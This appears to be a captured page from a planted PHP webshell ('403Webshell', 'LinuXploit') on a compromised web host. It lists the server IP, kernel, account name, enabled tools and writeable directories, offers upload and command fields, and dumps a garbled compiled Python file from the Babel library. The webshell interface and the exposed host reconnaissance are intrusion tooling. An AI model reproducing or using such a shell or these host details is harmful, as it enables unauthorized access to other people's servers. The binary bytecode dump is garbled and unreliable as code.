403Webshell
Server IP : 192.158.238.246  /  Your IP : 18.216.78.190
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3.6/site-packages/babel/messages/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.6/site-packages/babel/messages/__pycache__/jslexer.cpython-36.pyc
3

H��X��,@s�dZddlmZddlZddlmZeddddd	d
ddd
ddddddddddddddddddd d!d"d#d$d%d&d'd(d)d*d+d,d-d.d/g+ed0d1�Zd2d3d4d5d6d7�Z	ej
d8ej�Zej
d9ej�Z
ej
d:�Zej
d;ej�Zej
d<�Zej
d=ej�Zej
d>�Zed?d@�Zdej
dAej�fdej
dB�fdCej
dD�fdEej
dFejejB�fdGe
fdHefdIej
dJej�fdKej
dLej�fdMej
dNdjeeje���fdOej
dPej�fdQej
dRejejB�fgZdSdT�ZdUdV�ZdWdX�Zd[dYdZ�ZdS)\z�
    babel.messages.jslexer
    ~~~~~~~~~~~~~~~~~~~~~~

    A simple JavaScript 1.5 lexer which is used for the JavaScript
    extractor.

    :copyright: (c) 2013 by the Babel Team.
    :license: BSD, see LICENSE for more details.
�)�
namedtupleN)�unichr�+�-�*�%z!=z==�<�>z<=z>=�=z+=z-=z*=z%=z<<z>>z>>>z<<=z>>=z>>>=�&z&=�|z|=z&&z||�^z^=�(�)�[�]�{�}�!z--z++�~�,�;�.�:T)�key�reverse���
�
�	)�b�f�n�r�tz[\w$_][\w\d$_]*z[\w$_][\w\d$_.]*[\w\d$_.]z/=?z%/(?:[^/\\]*(?:\\.[^/\\]*)*)/[a-zA-Z]*z(\r\n|\n|\r)z\\z[a-fA-F0-9]{1,4}�Tokenztype value linenoz\s+z<!--.*Zlinecommentz//.*Zmultilinecommentz	/\*.*?\*/�dotted_name�name�numberzb(
        (?:0|[1-9]\d*)
        (\.\d+)?
        ([eE][-+]?\d+)? |
        (0x[a-fA-F0-9]+)
    )Zjsx_tagz(?:</?[^>\s]+|/>)�operatorz(%s)�template_stringz`(?:[^`\\]*(?:\\.[^`\\]*)*)`�stringzT(
        '(?:[^'\\]*(?:\\.[^'\\]*)*)'  |
        "(?:[^"\\]*(?:\\.[^"\\]*)*)"
    )cCs^g}xTtD]L\}}|r&|r&d|kr&q
|r6|dkr6q
|dkrH|sDq
d}|j||f�q
W|S)ze
    Get a tokenization rule list given the passed syntax options.

    Internal to this module.
    �jsxr+r'r()�_rules�append)r-�dottedr+�rules�
token_type�rule�r4�/usr/lib/python3.6/jslexer.py�	get_rules:sr6cCs|jdkr|jdkS|jdkS)
zzA helper function that helps the tokenizer to decide if the current
    token may be followed by a division operator.
    r*rrr�++�--r(r)r,�regexp)rrrr7r8)r(r)r,r9)�type�value)�tokenr4r4r5�indicates_divisionNs

r=cCsb|r |d|dkr |ddks(td��tjd|dd��}g}|j}d}x�|jd|�}|dkrbP||||��||d}|tkr�|t|�n�|dk�r&tj||d�}|d	k	�r|j�}t	|�d
k�ry|t
t|d���Wntk
r�YnX|d}qL|||�|j
�}qLn||�n||�|d}qLW|t	|�k�rX|||d	��d
j|�S)z�Unquote a string with JavaScript rules.  The string has to start with
    string delimiters (``'``, ``"`` or the back-tick/grave accent (for template strings).)
    r�z"'`z)string provided is not properly delimitedz\1�\ZuU�N�������rE)�AssertionError�line_join_re�subr/�find�escapes�
uni_escape_re�match�group�lenr�int�
ValueError�end�join)r,�result�add�posZ
escape_posZ	next_charZescapedZ
escaped_valuer4r4r5�unquote_stringWsD"


rVccs�d}d}d}t|�}t|||d�}x�||kr�x^|D]\}	}
|
j||�}|dk	r2Pq2W|rjtj||�}d}	ntj||�}d}	|dkr�|d7}q$|j�}|	dk	r�t|	||�}
t|
�}|
V|ttj	|��7}|j
�}q$WdS)z�
    Tokenize JavaScript/JSX source.  Returns a generator of tokens.

    :param jsx: Enable (limited) JSX parsing.
    :param dotted: Read dotted names as single name token.
    :param template_string: Support ES6 template strings
    Frr>)r-r0r+Nr*r9)rNr6rL�division_re�regex_rerMr&r=�line_re�findallrQ)�sourcer-r0r+Z
may_dividerU�linenorQr1r2r3rLZtoken_valuer<r4r4r5�tokenize�s2
r])TTT) �__doc__�collectionsr�reZ
babel._compatr�sortedrNZ	operatorsrJ�compile�UNICODEZname_reZdotted_name_rerW�DOTALLrXrY�patternrGrKr&�VERBOSE�IrR�map�escaper.r6r=rVr]r4r4r4r5�<module>sF





	8

Youez - 2016 - github.com/yon3zu
LinuXploit